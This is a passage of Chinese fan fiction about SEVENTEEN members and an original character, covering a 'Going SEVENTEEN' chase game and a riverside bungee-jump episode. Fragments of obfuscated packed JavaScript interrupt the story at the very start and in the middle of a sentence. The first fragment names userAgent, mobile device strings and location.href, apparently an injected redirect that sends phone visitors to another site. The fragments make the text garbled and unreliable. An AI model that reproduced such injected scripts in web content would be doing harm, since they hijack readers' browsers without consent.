l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205997|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' RISU’使用‘鼠王’特殊能力——头衔已转移至未被捕获的鼠队成员。” 三个人抱成一团,同时抬头,愣住。 然后,徐明浩对上姜里树的眼睛。 他笑了。 那种让姜里树后背发毛的、温柔的、释然的、同归于尽吧的笑。 “?( ? )?哥,我们同归于尽吧。” “!” “!” 李灿惊恐地从徐明浩的背后抬起脑袋,看向他平时岁月静好、此刻却散发着诡异气场的明浩哥。 安怼——!!! 姜里树一把松开两个弟弟,转头又继续跑着,往敢死队本部方向而去。除了拖一拖敢死队的时间,还有一条,他是真的跑不动了——! 等他小跑着摸到敢死队本部附近时,权顺荣和文俊辉转身看过来,一抬头看见是他,两张脸瞬间笑容消失。 “哥!别往这来!快跑——!” “里树哥快跑啊!!!” 姜里树脚步一顿,来这就是因为不想跑了,但是看到那几道身影正闲闲散散地坐着。崔胜澈翘着腿、尹净汉托着腮、洪知秀捧着水杯,三人齐刷刷转头,像三只守株待兔的狮子和狐狸,眼神精准锁定在门口那只自投罗网的前任“鼠王”身上。 他还是条件反射,扭头就跑。 身后呼啦啦追出一串敢死队,脚步声震天响。 他跑过本来跟在身后走回来的徐明浩和李灿身边,身影带风,头也不回,用中文丢下一句: “再见~” 徐明浩脚步一顿。 他看着那道远去的背影,沉默两秒,没有追。 累了。 毁灭吧。 这哥爱谁谁抓。 他心平气和地走回本部,找了把椅子坐下。屁股刚沾到椅面,抬头就看见姜里树被崔胜澈和尹净汉一左一右架着,挟持了进来。 两条胳膊被箍得死死的,整个人像只被猫咬在嘴里的鼠,动弹不得。 徐明浩看着他,没说话。 只是拍了拍自己身边的空位,微微一笑。 耶咦—— 姜里树后背一凉。 他们小好什么时候学会胜澈哩这种笑着威胁人的表情了??? 他默默挣开左右护法,老老实实地走过去,端端正正地坐在徐明浩身边。 最后的捕鼠时间,几乎全浪费在了姜里树一个人身上。敢死队成员们还没来得及踏出本部大门—— “游戏结束——鼠队获胜。” 广播响起,干脆利落。 “芜湖~” 姜里树拍着手,小小声欢呼了一下,尾音还没落,就感觉到旁边一道视线缓缓扫过来。 徐明浩扭过头,看着他。 姜里树把“芜湖”的后半截咽了回去,双手规规矩矩放回膝盖,继续乖乖坐在椅子上,目不斜视。 徐明浩也不说话,就这么坐着。陪他一起等。等那个让他一整天痛失“鼠王”、痛失围堵、痛失“今天必须有个了断”的机会。本来以为抓到姜里树就好了。结果鼠是抓到了,“鼠王”头衔飞走了。 徐明浩望着天空,平静地接受了这个事实。 今天不宜捕鼠。 姜里树看着弟弟这幅“萎靡不振”的样子,没忍心告诉他,新旧“鼠王”更替头衔的时候,旧任“鼠王”才是真正的敢死队,毕竟只有旧任“鼠王”没了,新任“鼠王”才能接替头衔。 这也是姜里树为什么自投罗网的往敢死队本部跑的原因。 待到顶着毛茸茸的鼠耳头箍,新任“鼠王”李知勋和全圆佑并肩出现在众人面前。 李知勋面色平静,耳尖却悄悄泛红。全圆佑跟在他身侧,依旧是那副不动声色的模样。 其实他刚才差点就走出去了。 广播宣布游戏结束的瞬间,他本能地想出来。但就在起身的前一秒,从脑子里冒了出来刚响过没多久的广播播报: “‘鼠王·RISU’使用特殊能力——头衔已转移至未被捕获的鼠队成员。” 时间不可能那么快结束,全圆佑顿了一下。然后,他重新靠回货箱上,安静地等。只等身边的随行PD开口。等确认这不是什么“虚假的胜利广播”。等那只新任“鼠王”和他一起走出去。 ……然后他就等到了。 鼠队大获全胜。 经历了“变异水果”和三秒内报歌名挑战后,面粉受袭人员——李硕珉。 面粉落尽。 李硕珉从一片白色硝烟里直起身,睫毛、发梢、队服肩线,无一幸免。他眨了眨眼,扑簌簌抖下一小片面粉云,整个人像刚从雪地里打了三个滚回来的大型犬。 “……哥。”他转头看向姜里树,语气幽幽,“你撒的时候是不是特意瞄准了。” “没有。”姜里树一脸真诚,“是爱。” “……” “是均匀的爱。” 夫胜宽笑得蹲在地上起不来,金珉奎举着空碗在旁边无声狂拍大腿,尹净汉笑得站不住挂在了洪知秀的身上。 “那就由DK来说结束语吧!”夫胜宽拍拍手,把残局交给今晚的“终极受害者”。 李硕珉深吸一口气,面粉又从额前飘下来一缕。 “内——”他努力把嘴角压下去,“SEVENTEEN大型追击战,《Going SEVENTEEN》,好好地、彻底地、再也没法更狼狈地……结尾了。” “一边鼓掌一边说!”夫胜宽带头拍手,掌声稀稀拉拉又热烈非凡,“那么,‘捉鼠敢死队’——最后的pose!” 全员默契抬手,有的比耳朵,有的捏爪爪,有的干脆随便挥了挥。 “Mouse~Busters!” 快门声落下。 画面定格在一片狼藉的白茫茫里,十四张笑得乱七八糟的脸和奇奇怪怪的pose上。 58. 这绳子非系不可吗 今天的天气很好。 阳光从云隙里漏下来,在河面上铺成碎碎的金箔,风一过,就晃成一片流动的光斑。微凉的微风从上游吹来,带着水的潮气和远处青草的味道,不冷,刚好够扬起发梢。 河边很静。 偶尔有鸟掠过,翅膀在水面点出一圈涟漪,又很快散了。 这样的日子,好像什么都不做,只是坐着,就很好。 真的会让他们这么安逸地坐着吗? 姜里树下了车,目光越过草坪,落在不远处那座高高矗立的蹦极台上。 ……有点不太好了。 集合哨响,这一期《Going》的拍摄正式开启。椅子不够,姜里树就默默从旁边顺了两个软垫,一个塞给徐明浩,一个垫在自己身下。两人并肩坐在草坪上,眯着眼晒太阳。 今天的MC是崔胜澈和夫胜宽。开场两人就开始努力活跃气氛,毕竟一会儿做游戏是次要,重点是做完游戏还要上去体验。 “今天是Dino的主意呢!”夫胜宽把话头抛出来,语调上扬,“这一期的主题叫〈秋高气爽〉!” “哇,真是个棒棒的主意呢~”金珉奎窝在椅子里,把手揣在口袋里,语气听不出是夸还是记仇。 但所有人都知道他在记仇。 上一次攀岩馆,金珉奎挂在半空中下不来,硬生生对着李灿喊了两声“hiong”。 还没爬上去前,李知勋就在旁边淡淡补刀:“珉奎啊,你再拖一会儿,PD们就要拍‘蹦极’主题了。” 金珉奎还对李知勋毫不犹豫的说,那天他是绝对不会去的。 这不还是来了吗。 更绝的是,这期主题的提案人,正是那声“hiong”的受益人,Dino本人。 金珉奎扭头看向李灿。李灿迎着那道复杂的目光,笑得乖巧又无辜。 秋高气爽。 确实是个好天气呢。 “今天呢,看概率的话,每轮会有两到三人被选中蹦极。”夫胜宽举起手比划,“总共三轮游戏。” “啊,亲加?!”李硕珉瞪圆了眼睛。 两到三人一轮,三轮就是六到九人。 他看了看夫胜宽,又抬头看了看那座沉默的蹦极台,声音都有点飘了:“那岂不是……一半以上的人都要上去?” “不过,”夫胜宽补充,“第一轮被选中的人,第二轮、第三轮也可能再次被选中。” “还能重复啊?” “哇——” 底下响起一片松口气的声音。 重复意味着名额会被少数人消耗掉,对部分成员来说是好事。 “没被选中的人也可能一直不被选中。”夫胜宽摊手。 “哇,那一直重复被选中的人……”李硕珉顿了顿,语气真挚,“也太惨了吧。” 而金珉奎坐在靠近河边的椅子上,河风也没能吹走他内心的紧张感,一直没怎么说话。 不是没话讲,是讲不出来。 从下车看到那座蹦极台的瞬间,他的表情就进入了某种微妙的、放空的状态。不是冷漠,是大脑拒绝处理这个信息。 崔胜澈解释说:“昨晚没休息好吧?” 金珉奎一言难尽。 不是没休息好。 是恐高。 是那种看到“蹦极”两个字就会腿软、看到“五十米”就会自动换算成“多少层楼”、看到“跳台边缘”就会开始脑补自己脚趾抓地的画面的恐高。 他的队友们此刻正在热烈讨论“重复选中的人有多惨”,而他自己是一点也笑不出来。 “现在,让我们开始游戏吧。”夫胜宽举起手,语气昂扬,“第一局游戏,〈禁止语采访〉:在采访途中说出禁止语则当选蹦极。每人进行一分钟的采访。” 从距离两位MC最近的金珉奎开始,姜里树坐在最末尾,整个人缩在一起抱着双腿趴在自己膝盖上,徐明浩靠在他身上,两个人像提前进入冬眠状态的鼠。 戴上耳机的金珉奎在河边晃悠。夫胜宽和崔胜澈领着众人商量“禁止语”,选的是他平时张口就来的词。 姜里树默默听着,替金珉奎捏了一把汗。 不过,金珉奎作为第一个却开了个好头,没有踩中禁止语。可是到第二人的权顺荣,就好像中了什么魔咒一样,从他开始,坐他后面的崔瀚率、文俊辉、尹净汉纷纷中招。崔瀚率好歹在快结束的时候中招,文俊辉第一句就没逃过。 “Jun哥啊——!”夫胜宽笑倒在桌子上。 这些孩子也太坏心眼了吧,希望对他下手的时候能轻一点。姜里树往后靠了靠,抬头望了望头顶的太阳。 怎么突然觉得有点冷呢。 等到耳机传到他手里的时候,姜里树低头看了看那个小小的耳塞,又抬头看了一眼对面十几双亮晶晶、写满“期待”的眼睛。 ……行吧。 他把耳机戴上。音乐轰然灌入耳膜的《?? NICE》,前奏炸开,鼓点一下一下锤进太阳穴。 世界瞬间只剩下节奏。贝斯、电吉他、还有自己突然变得很响的心跳声。 想跳。 这个念头几乎是本能地窜上来。脚后跟已经离开地面两公分,膝盖微微弯了一度。 他硬生生忍住了。 听着耳机里知秀的声音,他在心里跟着一字一顿,脸上却是一片风平浪静。 身后,夫胜宽正在比划着什么,金珉奎和李硕珉凑在一起低声合计,崔胜澈也和尹净汉讨论哪个触发语“概率更高”。 姜里树听不见。 他只听见—— “???? ?? ??? ?? NICE” ……好想跳舞。 但他忍住了。 很努力地,忍住了。 “hiong!” 孩子们叫他了。 姜里树摘下耳机,自然地坐到崔胜澈旁边,等着两位MC做采访。 “一分钟计时开始!” 夫胜宽率先发问,语速飞快:“hiong,请说出五个名字!” 姜里树顿了一下,微微歪头,认真思索。 “……SEVENTEEN?”尾音上扬,带着点不确定,给了个大范围回答。 “我就说吧——”洪知秀惋惜地拉长语调。这是他刚才提议的触发语,被大家以“概率太低”为由否决了。 结果第一句就中了。 “还有呢还有呢!”夫胜宽紧急追问,像在和时间赛跑。 “振宇哥?”姜里树试探着又抛出一个答案,这是他们经纪人的名字。 “诶咦~” 尹净汉扶额。这也是他的提案,同样被pass,同样精准命中。 两个人惋惜地对视一眼。 眼看着倒计时只剩十几秒,崔胜澈忽然偏过头,语气平常,像随口闲聊: “哎一古,有点想Kkuma了。” “你在说什么啊,”姜里树正听着尹净汉和洪知秀复盘刚刚那两句“漏网之鱼”,闻言自然地接过话茬,“昨天不是才把Kkuma和Cookie交给哥哥吗?” 叮——! “蹦极!芜湖~!” ……? 姜里树眨眨眼,还没反应过来,这是他完全没想到的,他还以为是成员里的名字。 他转头看向夫胜宽,又看向崔胜澈问他们两个:“和狗狗们有关?” 崔胜澈点点头笑了起来,对自己坑到了姜里树很是满意。 见尹净汉在夫胜宽身上栽了跟头,姜里树报名字就不会从同样作为MC的崔胜澈的名字开始。也不会主动提任何成员的名字。 但Kkuma和Cookie呢? 昨天大家才一起出门在宿舍附近遛了狗,两小只在草坪上疯跑,姜里树牵着绳跟在后面笑的很开心。 记忆犹新。 所以崔胜澈轻轻松松就把“Kkuma”塞进了备选词库。 他甚至没费什么力气说服队友。 “他肯定会接的。”崔胜澈说。 “真的假的?”夫胜宽半信半疑。 “不信赌,输了的话我也上去。” 结果一分钟没撑到。 夫胜宽拍下按钮的瞬间,崔胜澈向后靠进椅背,抬头看了一眼秋高气爽的天。 今天天气真好。 姜里树笑了一下,没说话。 右手抬起地探过去,捏住了咔咔直乐的崔胜澈的后脖颈,像拎一只得意忘形的兔子。 他轻轻晃了两下。 崔胜澈的笑声卡了一下,被痒的缩着脖子往旁边躲,却没躲开。 “还笑。” 姜里树松开手,语气听不出是气还是惯。 孩子们都清楚,多半是惯。 周围早已笑成一团。中招的、没中招的,都在起哄。夫胜宽拿着蹦极按钮笑倒在桌子上,李硕珉鼓着掌。 多坑到一个,就是翻倍快乐,更何况还是总队长坑的大哥。 阳光落在蹦极台上,明晃晃的,像在等谁上去赴约。 触发禁止语的成员比预想中还要多,成员们还是相当了解队友的。 李灿、尹净汉、文俊辉、崔瀚率、权顺荣、姜里树,六个人,齐刷刷站成一排,像秋收时节被一并收割的麦穗。 “来一局‘红参’吧。”权顺荣眼睛亮了,语气里带着跃跃欲试。 没人反对。 于是六个人围成圈,手指飞速起落,你指我、我指他、他指你。快速版的“红参”不讲道理,只讲谁反应慢了半拍。 第一轮,姜里树没接收到尹净汉的指向,干脆利落地出局。 第二轮,李灿在混乱中被集体指认。 最后,尹净汉在眼色游戏中败下阵来。 三个人。 不多不少,正好。 上去之后,姜里树趴在蹦极台的围栏上,往下看了一眼。 河水在五十米之下安静地流淌,泛着细碎的波光,远得像是另一个世界的东西。 还怪高的嘞。 他把下巴搁在交叠的手臂上,表情平静,看不出什么情绪。 姜里树不恐高,但是非常讨厌脚下悬空的感觉。那种踩不到实处的虚浮、失重感,让他心慌。 此刻,站在这个真正的、随时要往下跳的台子上,他却一点也怕不起来。 姜里树眨了眨眼。 ……可能是因为身边太“热闹”了。 风从河面上来,带着水汽和换季特有的凉意,吹乱他额前的碎发。 姜里树伸手拨了拨。 其实也没有那么高。 他想。 ……大概。 第一个站上跳台的是尹净汉。 他站在跳板上往下看了一眼,风把他的碎发吹乱,露出光洁的额头。底下是距离五十米高的河面,波光粼粼,像一片碎掉的天。 或许有一瞬间的恐惧,但那没什么不可战胜的。 “我的队友们——!” 他张开双臂,像要拥抱什么。 “我真的爱你们——!” 话音落下的瞬间,他的脚离开了台面。 没有犹豫,没有回望,甚至没有那种常见的、在空中扑腾的挣扎。他就那样纵身一跃,如一只终于决定展翅的鸟儿,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这和爱不爱你有什么关系!”姜里树被他家忙内这副“无赖式耍宝”逗笑了,语气却没松,“而且你净汉哥不是给你做榜样了吗?赶快下去吧你。 ” 李灿瘪了瘪嘴,知道赖不过去了。 他深吸一口气,一步一步,把自己挪上了跳板。 脚尖探出边缘的瞬间,风从脚下涌上来,灌进袖口和领子。他下意识往下瞥了一眼下面的风景。 “哇啊!” 他整个人往后仰了一下,声音都劈叉了。 “原来净汉哥看到的是这样的画面——!” “是啊是啊,”姜里树趴在护栏边,慢悠悠接话开着玩笑,“打卡到净汉同款了,开心不?” “唉咦~这到底有啥可开心的啊!” 李灿快哭出来了。 地面上,几个哥哥不仅给了安慰和加油打气,还开始添乱。 “是你自己要玩蹦极的啊,灿!” 全圆佑仰着头,语气平静,像在陈述事实。 “怎样啊~” 李灿拖着长音回他,尾调上扬,带着点理不直气也壮的委屈。 “你凭着一股热情走到这里了!”夫胜宽在地面上喊得震天响。 “热情这种东西跟害怕——那是两码事啊你这人!”李灿低头看了一眼底下添如乱的几个哥。 李灿站在跳板上,被风吹得晃了一下。 底下传来一阵乱糟糟的笑声,混着几声“Dino啊加油”。 他低头,看见哥哥们仰起的脸,看见尹净汉刚从安全区走出来,头发还乱着,冲他竖了个大拇指。 “Dino啊,加油!自信地跳吧!” “……OK。” 他小声嘟囔了一句,也不知是对谁说。 然后,他张开双臂。 “我的哥哥们!我爱你们!!!” 李灿像雏鸟第一次离开巢穴时那样,不知道风会把自己带去哪里,但还是跳了。 风在耳边呼啸。 失重感从脚底蔓延到头顶。 他没有闭眼。 绳索拉住他的时候好像也没有那么害怕了,因为哥哥们就在下面接住了他。 最后一个,终于轮到姜里树了。 他站在跳台边缘,低头看着腰间那根结实的绳索,认真地思考了三秒钟: 这绳子,一定要戴吗? 答案是当然要戴啦。安全教练帮他把所有锁扣检查了一遍,拍拍他的肩,示意可以了。 姜里树深吸一口气。 站上了跳板。 五十米之下,河水静静流淌,波光细碎。但他没有看脚下的河面。 他弯下腰,双手撑着膝盖,像平时在练习室里中场休息那样,把脑袋探出去,对着底下那群仰着头、正拼命朝他挥手的人影—— 笑了起来。 他朝他们招招手,像在招呼一群等在楼下、急着去便利店的孩子。 “里树啊!加油!” 崔胜澈的声音从底下传上来,被风吹得有点散,但依然很响亮。 “加油啊hiong——!” 好几道声音叠在一起,有点分不清是谁。 姜里树直起腰。 风从河面上来,吹散了发丝,他没有去拨。 张开双臂,像要拥抱什么。 “我的孩子们啊——!” 他对着底下那十三颗仰起的脑袋,对着这个晴天,对着五十米之下波光粼粼的河流,用尽了全部力气喊出来: “一定要永远、永远喜乐安康下去啊——!!!” 最后一个字落进风里的瞬间。 他身体前倾。 没有犹豫。 没有回望。 ——像一片终于决定离开枝头的叶子,以赴约的姿态,跃入秋空。 59. “我们有着不输常人的勇气” 第一轮蹦极告一段落,三位“勇士”安全着陆,草坪上的气氛松快了不少。 “那么各位,有好好观看成员们的蹦极吗?”夫胜宽接过话头,把流程拉回正轨。 “有啊。” “当然有。” “那么,”夫胜宽清了清嗓子,“既然第一轮是‘禁止语’,那么这一轮呢,是‘禁止动作’!” 他顿了顿,看向大家问他们:“大家觉得可以的话,Dino、净汉哥、里树哥,蹦过极的,本轮可以排除吗?” “排除吧。” 李硕珉接得飞快,瞬间get到了夫胜宽的意思,这没有什么好犹豫的。 “那就最后团体的时候一起做吧?”夫胜宽顺着话头往下走。 “最后团体是啥?” 全圆佑精准抓住关键词,扭头去问夫胜宽。 “就是,有各个执行指令,猜对了那条执行指令……根据那个指令……鸡蛋水一样……” 夫胜宽开始解释,语速变慢,舌头开始打结。 “……鸡蛋水?” “这孩子到底在说什么?”姜里树歪着头,满脸疑惑的看着夫胜宽。 “你在说啥啊胜宽。” “没听懂啊。” “你自己搞懂了没有?” 同样云里雾里的孩子们疑惑的声音此起彼伏。夫胜宽张着嘴,试图抢救自己的说明,却发现越说越乱,最后连自己都觉得荒谬。 “噗——哈哈哈哈!” 他放弃了。 整个人趴在桌上,笑得肩膀直抖,再也抬不起头来。 直到第二局游戏开始,也没人弄明白那个所谓的“最后团体”到底是什么。 接着就是依旧是不留活路的挖坑,后面的小分队企划……不活了吗孩子们。 姜里树盘腿坐在软垫上,眨了眨眼。忽然想起前两天他姐发来的那份资料。 “既然没办法有全体活动行程,那就分成小分队形式吧。”姜南与在电话里语气平静,“十四个人,怎么组队都可以。我看你们的BSS小分队出道后就很不错啊。” 当时他还觉得有道理。直到附件下载下来,打开一百多页。 姜里树对着屏幕沉默了整整三分钟。 十四个人,一百多页企划,平均下来,每个人……将近十二页? 问他姐,他姐说:“多吗?这还只是基础款。后面还有三版备选。” 他翻了翻,发现不是简单的“分队名单”。每个小分队都有单独的概念策划、风格定位、曲风建议,甚至还有几套备选舞台编排方案。 入目目录的除了已经出道的“BSS夫硕顺”小分队,第二行就是三个小分队队长企划,“3J”小分队,“JxW”、“HxW”、“CxM”……各种组合,连按照年龄分队的都有。 比他看过的团综企划还厚。 他只是默默把文件保存好,默默关上手机,躺平了三分钟。 现在。 姜里树坐在软垫上,看着眼前这群笑得毫无危机感的成员们,忽然有点恍惚。 一百五十多页啊。 他们真的知道,自己接下来要面对什么吗? 第二局游戏踩坑的成员也比不少。 一场赛跑下来,最后一个淘汰名单新鲜出炉,由权顺荣和剪刀石头布的出局者李知勋一起登上蹦极跳台。 崔胜澈想陪着那两个上去,估计也是想顺便看看上面的风景。 路过姜里树的时候,他顺手一薅,把人从软垫上拽了起来。 “陪我上去看看。” 姜里树被他拽得身子一歪,另一支手撑着草坪,才抬眼看他:“不是有知勋和顺荣陪你吗?” “那不一样。”崔胜澈拽着他的手腕没松,语气理所当然,“他们两个是要蹦极的,一会儿我还得自己下来。” 他顿了顿,又补了一句: “你陪我一起。” 姜里树看了看那只攥着自己的手,又抬头看了看那张理直气壮的脸。 风从河面上吹过来,把两个人的头发吹得有点乱。 “好吧。”他一向拿崔胜澈没招。 叮—— 门开了。 风从五十米高处灌进来,把所有人的头发吹乱。 姜里树站在电梯口,没有急着出去。他只是侧过身,让李知勋先走,伸手揉了揉他的后脑勺。 “别怕。” 他的声音很轻,被风吹散了一点,但李知勋还是听见了。 李知勋站在跳台边缘,深吸一口气,又缓缓吐出。笑容依旧淡淡的,看不出太多情绪,只是攥着护栏的指节微微发白。 权顺荣倒是精神得很,半个身子探出围栏,冲着底下草坪上的成员们挥手,嗓门亮得能传遍整个园区: “帮我录好视频啊——!拍帅一点——!” 底下传来一阵起哄声和快门声。 夫胜宽仰着头,忽然灵光一闪,冲着同样趴在高台围栏上的崔胜澈喊: “Coups哥!最后结束的时候,大家一起跳一下吧!” “呐嘟?” “内!”李硕珉立刻跟上,嗓门比权顺荣还大,“干脆大家都一起——!” 崔胜澈嘿嘿一笑,扶着围栏低头往下看了一眼。 五十米之下的河面波光粼粼,像一张等着接住谁的网。 “……啊~才不要!” 他收回视线,语气坚决得像是宣布什么重大决定。 虽然他可以趴在围栏上往下看、可以站在跳台边上拍照、可以面不改色地陪着孩子们上来。 但是跳不跳,那就是另一回事了。 风从河面上吹过来,把他刚说完的话吹散了一点。 站在旁边的姜里树偏头看了他一眼,嘴角轻轻弯了一下。 没说话。 但那个笑,崔胜澈看见了,他把视线移开去看准备蹦极的两个成员,耳朵红红的。 权顺荣站在跳板边缘,双手张开,像一只准备起飞的虎。 安全教练开始倒计时。 “三——” 他深吸一口气。 “二——” 底下草坪上的成员们仰着头,手机齐齐对准他。 “一——!” “虎浪嘿——!!!” 他大喊着那句属于自己的口号,双脚用力一蹬,整个人纵身跃入空中。 没有犹豫,没有退缩,甚至没有那种常见的“先闭眼再跳”的本能反应。 他就那样张着双臂,像一只终于展翅的小老虎,以最舒展、最热烈的姿态,坠入五十米之下的秋天。 风把头发吹得乱糟糟的。 但他在笑。 绳子绷直又弹起,他随着那股力道在空中荡出一道漂亮的弧线,像在荡秋千,像在飞。 “哇——!!!” 他的声音从底下传上来,混着风声和水声,快乐得毫无保留。 “这哥是真的不害怕啊……”李硕珉望着那道在半空晃悠的身影,笑道。 权顺荣还在荡。 他甚至伸出手,对着镜头比了个耶。 底下一直注视着他的成员们,也毫不吝啬自己的夸夸。 “Hoshi哥太棒了——!” 李硕珉双手拢在嘴边,喊得震天响,嗓子都快劈了。 “太帅了——!” 尹净汉站在旁边,抱臂看着,笑着对他喊道:“Hoshi呀,帅气的跳一段舞吧!”。 风把他们的声音送上去,和权顺荣还在回荡的“虎浪嘿”混在一起,飘散在秋天的河面上空。 跳台上。 李知勋低头看着那道越荡越远的身影,小声说着:“一点儿也不怕的吗。” 和李灿那种“怎么还没轮到我我好紧张”的嘟嘟囔囔不同,李知勋的嘟嘟囔囔是另一种画风。 他站在跳板边缘,低头看了一眼五十米之下的河面,又迅速收回视线。 “哇……” 很轻的一声。 然后他开始动了——不是往前走,是往旁边挪。 “哇……” 又挪了一步。 安全教练在旁边等着,耐心地看着他进行这场“微缩版踱步”。 “哇……真的……” 李知勋伸出手,在空中比划了一下,像是在测量什么,又像是单纯地想表达“这个高度真的有点高”的感叹。 像一只被拎到高处、正在认真评估地形的猫。 “知勋啊——”底下的夫胜宽仰着头喊,“你还好吗——!” “Woozi哥用‘呜哇嘿!’‘呜哇嘿’啊!”李硕珉抬头对上边的李知勋喊到,“要用‘呜哇嘿’才行啊!” “啥啊,让我喊‘呜哇嘿’吗?” 李知勋回头看了一眼底下那群正在拼命比划的成员们,语气里带着点无奈,但嘴角还是弯了一下。 夫胜宽双手拢在嘴边,喊得震天响:“对——!Woozi style——!” 李知勋收回视线,低头看着脚下的虚空,轻轻叹了口气。 “……呜哇嘿。” 他小声念了一遍,像在预习。 虽然害怕还是明明白白写在脸上,但他没有拒绝。 接受了。 崔胜澈半个身子趴在围栏上,歪着脑袋看他,声音稳稳地传过去:“知勋啊,别怕,我们就在这里呢。” 姜里树抓着他后背的衣服,对李知勋点点头。 李知勋回头看了他一眼。 “哥要不你陪着我跳吧。”这话是对崔胜澈说的,姜里树跳过了,李知勋就没让姜里树再来一次。 语气平静,像在说“今天天气不错”。 崔胜澈愣了一下。 随即—— “咔咔~安怼!” 崔胜澈闻言笑了出来,然后果断拒绝。 本来也没打算真的让崔胜澈陪自己跳,李知勋自己做好了心理准备,一步一步挪到了跳板最前端。 他低头,看向五十米之下的河面。 风从底下涌上来,吹乱他额前的碎发。 “……呜哇。” 很轻的一声。 本来还算平静的心跳,在这一刻不受控制地加快了一点。 “Woozi哥——!”夫胜宽在底下仰着头喊,“想说些什么吗——!” 李知勋张了张嘴,声音被风吹得有点散: “呜哇!”是真的很高啊! “Woozi啊——呜哇嘿!”尹净汉也加入进来,双手拢在嘴边,大声喊,“先说一遍呜哇嘿——!” 李知勋站在跳板上,低头看着那群仰起的脑袋,笑了出来。 “呜哇……呜哇……呜哇……” 一连串的“呜哇”从嘴里蹦出来,像一只紧张的猫在自言自语。 尽管害怕明明白白写在脸上,尽管声音被风吹得有点抖,尽管每一句“呜哇”都在坦白“好高我好紧张”。 但他始终站在那个位置上。 没有后退。 一步都没有。 让姜里树忽然想起那时候出道的事。 那时候他们站在比五十米更高的悬崖边上。 延迟计划,还是自给自足按时出道。所有人都在等一个答案。 而李知勋接过了那个答案,把它变成旋律、变成歌词、变成一张张刻着所有人名字的专辑。 不曾后腿。 哪怕熬到凌晨、写到手指发僵、被质疑被否定—— 他始终站在那里。 现在也是。 五十米的高空,风很大,底下是波光粼粼的河水和一群仰着头等他跃下的兄弟们。 他嘴里还在嘟囔着“呜哇呜哇”个不停,像一只被拎到高处、正在认真评估地形的猫。 但他在笑。 一步未退。 姜里树站在跳台边缘,看着那道小小的背影,忽然轻轻笑了一下。 他们的大制作人。 从来都是这样。 “呜哇嘿——!!!” 声音从五十米的高空炸开,像一道被压抑太久终于释放的音符。 李知勋纵身一跃,没有犹豫。 那个平日里总是安静坐在角落、戴着耳机写歌、被弟弟们调侃“像猫一样”的人,此刻张开双臂,以最舒展的姿态坠入风中。 但他没有闭眼。 他看着底下越来越近的河面,看着那群仰着头、正拼命朝他挥手的成员们,忽然笑了。 像音符落入曲谱。 像光落进黑夜该在的位置。 底下爆发出震耳欲聋的欢呼声。 “Woozi哥——!!!” “太帅了——!!!” 夫胜宽跳着高挥手,李硕珉双手拢在嘴边喊得嗓子都快劈了,尹净汉抬头望着他笑着鼓掌。 崔胜澈扶着围栏,看着那道在半空荡悠的身影,喃喃了一句: “……我们知勋,真的很了不起。” 姜里树没有说话,只是看着点点头。 看着那道身影在绳子的牵引下划出漂亮的弧线,看着他在河面上方荡悠,像一枚终于落定的音符。 ——属于他们的音乐之神。 落入他们的怀里。 风从河面上来,带着秋天的凉意,吹乱他额前的碎发。 姜里树用空着的那只手拨了拨,弯起嘴角。 真好。 “走吧,我们也快下去吧。”姜里树轻轻拽了拽还趴在围栏上、望着底下那道荡悠身影的崔胜澈,“孩子们还在等我们。” 崔胜澈又看了一眼。 看着李知勋在半空中晃悠着朝岸边飘去,看着底下那群仰着脑袋、欢呼雀跃的身影。 他收回探出去的身体,转身。手自然地牵过姜里树一直抓着他衣服的那只手。 “走吧。” 等两人回到草坪上的时候,成员们已经把李知勋从安全区接回来了。 他站在人群中间,头发还是乱的,脸上带着点被风吹过的红,但表情已经恢复成平日里那副满是笑意的模样。权顺荣正手舞足蹈地跟他比划着什么,李硕珉在旁边插嘴,夫胜宽笑得蹲在地上起不来。 李知勋被围在中间,嘴角弯着一个小小的弧度,耳朵尖还红着。 他在笑。 风从河面上吹过来,把所有的声音和光揉在一起,落在他们身上。 姜里树站在人群边缘,看着这一幕,轻轻弯了弯嘴角。 所有人都回来了。 都在这里。 “第三回合就是以团体形式一起来?”李硕珉歪着头,再次确认。 “包括MC在内的团体眼色游戏,两次。”尹净汉接过话头向大家解释着,语气悠悠,“直接选出两个人上去,三个人起来就三个人上去,这样子来两盘。 ” “只玩一次吧,”夫胜宽举手提议,“反正不管怎么玩,都是要上去两到三个人的。” “不是,”尹净汉摇头,笑得温和又无害,“反正来了,就多上去一点。 ” 话音刚落。 金珉奎猛地扭头。 “这对吗——?!” 他瞪着尹净汉,眼神里写满“哥你别说了”。 “他真的……”坐在旁边的李硕珉指着金珉奎,笑得整个人往后仰,“好害怕——!” 一阵凌乱的笑声里,规则被敲定下来:一把定输赢。连“身体微微站起来也算失败”这种严防死守的条款都加上了。 桌子撤掉。 所有人围坐成一圈。 制作组充当裁判。 “眼色游戏,开始!” “一。” 只有尹净汉站了起来。 “二。” 崔胜澈站起来了。姜里树也跟着站起来了。 两人几乎同时。 大家还没来得及反应,两声“三”同时响起。 李硕珉和李灿,两人同时站了起来。 “哇————!!!” 草坪上瞬间炸开了锅。 谁也没想到,游戏会在最开始的几秒内就宣告终结。 四个人! “诶咦~”尹净汉看着崔胜澈,笑得眼睛弯弯,开心得明明白白。 “呀!” 崔胜澈瞪圆了眼睛,手指着旁边正笑得一脸无辜的姜里树。 “你不是玩这个游戏从来不动吗——!!”就为了专门坑他?!坏猫! 姜里树不说话,就只是笑。 笑得理直气壮。 笑得好像在说:对,就是故意的。 旁边,金珉奎劫后余生般趴在草坪上,整个人贴着地,长舒一口气。 谢天谢地。 谢他这四个兄弟。 “那就这样定了!”尹净汉迅速拍板,“Coups!里树!DK和灿! ” “不是最多三个人吗——?!”崔胜澈又把矛头转向尹净汉。 “诶咦,”尹净汉摆摆手,语气轻飘飘的,“反正是最后一把游戏了,四个人也可以啊。 ” 微风吹来,带着秋天的凉意,和满草坪乱七八糟的嘲笑声。 出了已经跳过一轮的姜里树和李灿,剩下的四个人里,大家的视线,默契地落在了那两个人身上。 还以为当了MC就逃过一劫的崔胜澈。成了全场最想看、最期待、最“今天必须看到”的那一个。 想过自己可能会上去,在现在看来觉得自己可能还是准备少了的李硕珉。 看出来李硕珉强撑着笑意的尹净汉、夫胜宽和今天幸运值max的金珉奎,决定陪李硕珉上去。 他们四个人乘第一趟电梯上蹦极跳台。 